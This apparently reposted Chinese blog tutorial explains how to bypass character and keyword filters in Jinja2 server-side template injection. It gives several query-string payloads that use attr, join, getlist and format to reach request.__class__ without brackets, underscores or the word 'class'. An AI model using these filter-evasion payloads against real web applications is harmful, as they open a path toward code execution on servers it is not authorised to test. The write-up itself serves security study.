码迷,mamicode.com
首页 > 编程语言 > 详细

python SSTI绕过

时间:2019-09-18 19:37:30      阅读:190      评论:0      收藏:0      [点我收藏+]

标签:get   for   过滤   request   class   exp   函数   span   关键字   

原理
首先以jinja2模板注入为例:
{{request[request.args.param]}} 可以用 {{request|attr(request.args.param)}} 替代绕过"["、"]"过滤
绕过的方式也就是同义语句转化,下面给出其他的替换绕过"_"字符:
?exp={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&usc=_&class=class
等同于 ?exp={{request|attr(["_"*2,"class","_"*2]|join)}}
等同于 ?exp={{request|attr(["__","class","__"]|join)}}
等同于 ?exp={{request|attr("__class__")}}
等同于 ?exp={{request.__class__}}

下面给出一些绕过姿势,假如页面本身注入参数为exploit,想注入的的语句为request.__class__
①绕过 "]"、"["、"_"、class等关键字
使用元组( )和通过传递另外的参数
?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&usc=_&class=class
使用.getlist()优化(能够绕过",")
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
②绕过"|join"
使用|format函数,可以通过传入格式字符串%s,再传入字符,来进行替换
?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a)|join
)}}&f=%s%sclass%s%s&a=_

python SSTI绕过

标签:get   for   过滤   request   class   exp   函数   span   关键字   

原文地址:https://www.cnblogs.com/cimuhuashuimu/p/11544445.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!